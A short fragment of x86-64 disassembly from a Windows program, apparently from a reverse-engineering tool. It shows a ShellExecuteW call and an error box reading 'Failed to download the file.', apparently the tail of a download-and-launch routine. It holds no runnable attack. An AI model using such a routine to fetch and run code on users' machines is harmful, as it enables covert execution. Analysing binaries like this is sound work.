xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14004aaff
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file.
mov rcx, qword [rsp + 0x6c00]
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14004aa2d
lea rcx, [rsp + 0x58]
call fcn.140004cd0
nop
lea rcx, [rsp + 0x6728]
call fcn.140004cb0
add rsp, 0x6bf0
pop rdi
ret